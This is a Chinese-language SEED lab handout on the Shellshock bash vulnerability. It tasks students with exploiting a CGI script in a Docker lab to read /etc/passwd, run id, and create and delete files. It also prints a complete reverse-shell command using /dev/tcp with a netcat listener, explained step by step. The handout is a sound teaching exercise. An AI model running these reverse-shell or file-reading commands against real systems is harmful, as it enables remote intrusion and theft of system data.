Shellshock 攻击实验
章节大纲
-
本实验在 SEEDUbuntu20.04 VM 中测试可行。你可以在本页面右端选择虚拟机版本为 SEEDUbuntu20.04,点击“创建虚拟机”来获取虚拟机平台的临时用户名与密码,登录虚拟机平台即可获得一台预先构建好的 SEEDUbuntu20.04 VM,该虚拟机以及用户名密码将在开启 24 小时后自动销毁。本实验采用 Docker 容器来建立实验环境,所以不太依赖 SEED VM。你也可以在其他 VM、物理机器以及云端 VM 上自行配置环境进行实验,实验所需的文件可根据你的芯片类型从下方下载,解压后会得到一个名为 Labsetup 的文件夹,该文件夹内包含了完成本实验所需的所有文件
-
Ubuntu 20.04 中的 bash 程序已经打了补丁,因此它不再有 Shellshock 漏洞。为了本实验的目的, 我们在容器中安装了一个有漏洞的 bash 版本(在 /bin 中)。该程序也可以在 Labsetup 文件夹(在 image_www 中)找到。它的名字是 bash_shellshock。我们需要使用 这个 bash 程序来完成任务。你可以在容器中或直接在你的计算机上运行这个 shell 程序。
请设计一个实验来验证该 bash 程序是否容易受到 Shellshock 攻击。在已打了补丁的版本 /bin/bash 上进行相同的实验并报告你的观察结果。
-
要利用 Shellshock 漏洞,攻击者需要将数据传递给有漏洞的 bash 程序,而且这些数据必须要通过 环境变量传递。在这个任务中,我们看看如何实现这一目标。我们在服务器上提供了另一个 CGI 程序(getenv.cgi)来帮助你识别哪些用户数据可以进入 CGI 程序的环境变量。该 CGI 程序会打印出它的所有环境变量。
#!/bin/bash_shellshock echo "Content-type: text/plain" echo echo "****** Environment Variables ******" strings /proc/$$/environ ①
-
我们现在可以发起 Shellshock 攻击。该攻击不依赖于 CGI 程序中的内容,因为它针对的是 CGI 脚本执行之前调用的 bash 程序。你的任务是通过 URL http://www.seed-server.com/cgi-bin/vul.cgi 发起攻击,以便让服务器运行任意命令。
如果你的命令有纯文本输出,并且你希望输出返回给你,输出需要遵循如下协议:它应该以 Content-type: text/plain 开头,后跟一个空行,然后就可以放置纯文本输出。例如,如果你希望服务器返回其文件夹中的文件列表,你的命令应该像下面这样:
echo Content-type: text/plain; echo; /bin/ls -l
在这个任务中,请使用三种不同的方法(即三种不同的 HTTP 头字段)来对目标 CGI 程序发起 Shellshock 攻击。你需要实现以下目标,但对于每个目标,你只需要使用一种方法,但总共需要使用三种不同的方法。
-
任务 3.A: 让服务器返回 /etc/passwd 文件的内容。
-
任务 3.B: 让服务器返回其进程的用户 ID。你可以使用 /bin/id 命令打印出 ID 信息。
-
任务 3.C: 让服务器在/tmp文件夹中创建一个文件。你需要进入容器查看文件是否被创建,或者使用另一个 Shellshock 攻击来列出 /tmp 文件夹中的内容。
-
任务 3.D: 让服务器删除你刚刚在 /tmp 文件夹中创建的文件。
-
-
Shellshock 漏洞允许攻击者在目标机器上运行任意命令。在实际攻击中,攻击者通常不会将命令固化在攻击中,而是选择运行一个 shell 命令,这样他们就可以使用这个 shell 来运行其他命令。为了实现这一目标,攻击者需要运行一个反向 shell。
反向 shell 是一个在受害者机器上运行的 shell 进程,但它从攻击者的机器获取输入并将输出打印在攻击者的机器上。反向 shell 为攻击者提供了在被攻陷的机器上运行 shell 命令的一种便捷方式。如何创建反向 shell 的详细说明可以在 SEED 书中找到。我们也在页面最后的指导中做了一些解释。在本任务中,你需要演示如何通过 Shellshock 攻击从受害者那里获得反向 shell。 -
在该任务中,我们使用一个已经打了补丁的 bash 程序。/bin/bash 程序是修补后的版本。请将 CGI 程序的第一行替换为这个程序。重新做一次任务 3,描述你的观察结果。
-
反向 shell 的关键思想是将 shell 的标准输入、输出和错误设备重定向到网络连接,这样 shell 就会从该连接获取输入,并将输出也发送回该连接。在连接的另一端运行的是攻击者的程序,这个程序只是显示来自另一端的 shell 程序打印出来的内容,并将攻击者键入的内容通过网络连接发送给 shell 程序。
攻击端常用的一个程序是 netcat,如果用 "-l" 选项,则会运行一个监听指定端口的 TCP 服务器。该服务器程序会打印客户端发送来的内容,并把用户输入的内容发到客户端。在下面的实验中,我们将使用 netcat(简写为 nc)来监听 9090 端口。我们先仅关注第一行。
Attacker(10.0.2.6):$ nc -nv -l 9090 Listening on 0.0.0.0 9090 Connection received on 10.0.2.5 39452 Server(10.0.2.5):$ Server(10.0.2.5):$ ifconfig ifconfig enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 10.0.2.5 netmask 255.255.255.0 broadcast 10.0.2.255 ...
上述的 nc 命令会阻塞,等待连接。我们在服务器(10.0.2.5)上直接运行以下 bash 程序,这是模拟攻击者通过漏洞在服务器上做的事。这个 bash 命令将与攻击者机器的 9090 的端口建立一个 TCP 连接,从而创建一个反向 shell。我们可以从上述结果中看到 shell 程序的提示符,这表明 shell 程序正在服务器上运行。我们可以通过键入 ifconfig 命令来验证 IP 地址确实为 10.0.2.5,这是属于服务器的 IP 地址。以下是 bash 命令:
Server(10.0.2.5):$ /bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1
上述命令比较复杂,我们在下面进行详细的解释:
-
“/bin/bash -i”: 选项 i 表示这是交互模式,意味着 shell 程序会提供 shell 提示符。
-
“> /dev/tcp/10.0.2.6/9090”: 这使得 shell 程序的标准输出设备 stdout 被重定向到一个指定的 TCP 连接。在 unix 系统中,stdout 的文件描述符为 1。
-
“0<&1”: 文件描述符 0 表示标准输入设备 stdin。此选项告诉系统使用标准输出设备作为标准输入设备。由于标准输出已经被重定向到 TCP 连接,因此标准输入也用同一个 TCP 连接。
-
“2>&1”: 文件描述符 2 表示标准错误 stderr。这使得错误输出也被重定向到同一个 TCP 连接。
总之,命令 “/bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&” 在服务器机器上启动了 bash 程序,它的输入来自一个 TCP 连接,输出也发送到相同的 TCP 连接。当我们在 10.0.2.5 上执行这条 bash 命令时,它会回连到 10.0.2.6 上运行的 netcat 进程。通过 netcat 显示的 “Connection received on 10.0.2.5...”,我们可以确认这点。
-